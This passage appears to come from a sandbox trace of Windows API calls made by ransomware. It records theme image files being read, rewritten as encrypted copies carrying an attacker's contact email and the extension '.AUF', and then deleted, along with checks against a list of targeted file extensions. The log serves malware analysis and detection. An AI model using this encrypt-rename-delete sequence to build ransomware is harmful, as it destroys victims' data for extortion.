dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.407] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.735] GetLastError () returned 0x0 [0212.735] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xaa2, lpOverlapped=0x0) returned 1 [0212.796] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0212.797] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.797] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.797] SetEndOfFile (hFile=0x1e8) returned 1 [0212.797] CloseHandle (hObject=0x1e8) returned 1 [0212.797] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.797] SetEndOfFile (hFile=0x204) returned 1 [0212.798] CloseHandle (hObject=0x204) returned 1 [0212.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.798] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0212.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.798] lstrlenW (lpString=".doc") returned 4 [0212.798] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.798] lstrlenW (lpString=".docx") returned 5 [0212.798] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.798] lstrlenW (lpString=".pdf") returned 4 [0212.798] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.798] lstrlenW (lpString=".xls") returned 4 [0212.798] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.798] lstrlenW (lpString=".xlsx") returned 5 [0212.798] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.798] lstrlenW (lpString=".ppt") returned 4 [0212.798] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.798] lstrlenW (lpString=".zip") returned 4 [0212.798] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.799] lstrlenW (lpString=".rar") returned 4 [0212.799] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.799] lstrlenW (lpString=".bz2") returned 4 [0212.799] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.799] lstrlenW (lpString=".7z") returned 3 [0212.799] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.799] lstrlenW (lpString=".dbf") returned 4 [0212.799] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.799] lstrlenW (lpString=".1cd") returned 4 [0212.799] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.799] lstrlenW (lpString=".jpg") returned 4 [0212.799] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.799] lstrlenW (lpString=".doc") returned 4 [0212.799] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.799] lstrlenW (lpString=".docx") returned 5 [0212.799] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.799] lstrlenW (lpString=".pdf") returned 4 [0212.799] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.799] lstrlenW (lpString=".xls") returned 4 [0212.799] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.799] lstrlenW (lpString=".xlsx") returned 5 [0212.799] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.799] lstrlenW (lpString=".ppt") returned 4 [0212.799] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.799] lstrlenW (lpString=".zip") returned 4 [0212.799] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.799] lstrlenW (lpString=".rar") returned 4 [0212.799] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.799] lstrlenW (lpString=".bz2") returned 4 [0212.799] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.800] lstrlenW (lpString=".7z") returned 3 [0212.800] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.800] lstrlenW (lpString=".dbf") returned 4 [0212.800] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.800] lstrlenW (lpString=".1cd") returned 4 [0212.800] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0212.800] lstrlenW (lpString=".jpg") returned 4 [0212.800] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.800] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.800] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.800] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2476) returned 1 [0212.800] CloseHandle (hObject=0x204) returned 1 [0212.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0212.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.801] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.801] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.983] GetLastError () returned 0x0 [0212.983] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0213.091] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0213.092] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.092] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.092] SetEndOfFile (hFile=0x1f8) returned 1 [0213.092] CloseHandle (hObject=0x1f8) returned 1 [0213.092] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.092] SetEndOfFile (hFile=0x204) returned 1 [0213.092] CloseHandle (hObject=0x204) returned 1 [0213.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.093] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0213.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.093] lstrlenW (lpString=".doc") returned 4 [0213.093] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.093] lstrlenW (lpString=".docx") returned 5 [0213.093] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.093] lstrlenW (lpString=".pdf") returned 4 [0213.093] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.093] lstrlenW (lpString=".xls") returned 4 [0213.093] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.093] lstrlenW (lpString=".xlsx") returned 5 [0213.093] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.093] lstrlenW (lpString=".ppt") returned 4 [0213.093] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.093] lstrlenW (lpString=".zip") returned 4 [0213.093] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.093] lstrlenW (lpString=".rar") returned 4 [0213.093] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.093] lstrlenW (lpString=".bz2") returned 4 [0213.093] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.093] lstrlenW (lpString=".7z") returned 3 [0213.093] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.093] lstrlenW (lpString=".dbf") returned 4 [0213.093] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.093] lstrlenW (lpString=".1cd") returned 4 [0213.093] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.093] lstrlenW (lpString=".jpg") returned 4 [0213.094] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.094] lstrlenW (lpString=".doc") returned 4 [0213.094] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.094] lstrlenW (lpString=".docx") returned 5 [0213.094] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.094] lstrlenW (lpString=".pdf") returned 4 [0213.094] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.094] lstrlenW (lpString=".xls") returned 4 [0213.094] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.094] lstrlenW (lpString=".xlsx") returned 5 [0213.094] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.094] lstrlenW (lpString=".ppt") returned 4 [0213.094] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.094] lstrlenW (lpString=".zip") returned 4 [0213.094] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.094] lstrlenW (lpString=".rar") returned 4 [0213.094] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.094] lstrlenW (lpString=".bz2") returned 4 [0213.094] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.094] lstrlenW (lpString=".7z") returned 3 [0213.094] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.094] lstrlenW (lpString=".dbf") returned 4 [0213.094] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.094] lstrlenW (lpString=".1cd") returned 4 [0213.094] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0213.094] lstrlenW (lpString=".jpg") returned 4 [0213.094] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.094] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.094] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0213.451] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=11573) returned 1 [0213.451] CloseHandle (hObject=0x194) returned 1 [0213.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0213.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0213.451] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.451] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0213.474] GetLastError () returned 0x0 [0213.474] ReadFile (in: hFile=0x194, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0213.599] WriteFile (in: hFile=0x214, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0213.599] ReadFile (in: hFile=0x194, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.600] WriteFile (in: hFile=0x214, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.600] SetEndOfFile (hFile=0x214) returned 1 [0213.600] CloseHandle (hObject=0x214) returned 1 [0213.600] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.600] SetEndOfFile (hFile=0x194) returned 1 [0213.601] CloseHandle (hObject=0x194) returned 1 [0213.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.601] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0213.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.601] lstrlenW (lpString=".doc") returned 4 [0213.601] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.601] lstrlenW (lpString=".docx") returned 5 [0213.601] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.601] lstrlenW (lpString=".pdf") returned 4 [0213.601] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.601] lstrlenW (lpString=".xls") returned 4 [0213.601] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.601] lstrlenW (lpString=".xlsx") returned 5 [0213.601] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.601] lstrlenW (lpString=".ppt") returned 4 [0213.601] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.601] lstrlenW (lpString=".zip") returned 4 [0213.601] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.601] lstrlenW (lpString=".rar") returned 4 [0213.601] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.602] lstrlenW (lpString=".bz2") returned 4 [0213.602] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.602] lstrlenW (lpString=".7z") returned 3 [0213.602] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.602] lstrlenW (lpString=".dbf") returned 4 [0213.602] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.602] lstrlenW (lpString=".1cd") returned 4 [0213.602] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.602] lstrlenW (lpString=".jpg") returned 4 [0213.602] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.602] lstrlenW (lpString=".doc") returned 4 [0213.602] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.602] lstrlenW (lpString=".docx") returned 5 [0213.602] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.602] lstrlenW (lpString=".pdf") returned 4 [0213.602] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.602] lstrlenW (lpString=".xls") returned 4 [0213.602] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.602] lstrlenW (lpString=".xlsx") returned 5 [0213.602] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.602] lstrlenW (lpString=".ppt") returned 4 [0213.602] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.602] lstrlenW (lpString=".zip") returned 4 [0213.602] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.602] lstrlenW (lpString=".rar") returned 4 [0213.602] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.602] lstrlenW (lpString=".bz2") returned 4 [0213.602] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.602] lstrlenW (lpString=".7z") returned 3 [0213.602] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.602] lstrlenW (lpString=".dbf") returned 4 [0213.602] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.602] lstrlenW (lpString=".1cd") returned 4 [0213.602] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0213.602] lstrlenW (lpString=".jpg") returned 4 [0213.602] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.602] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.603] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.832] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=31975) returned 1 [0213.832] CloseHandle (hObject=0x224) returned 1 [0213.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0213.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.832] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.832] 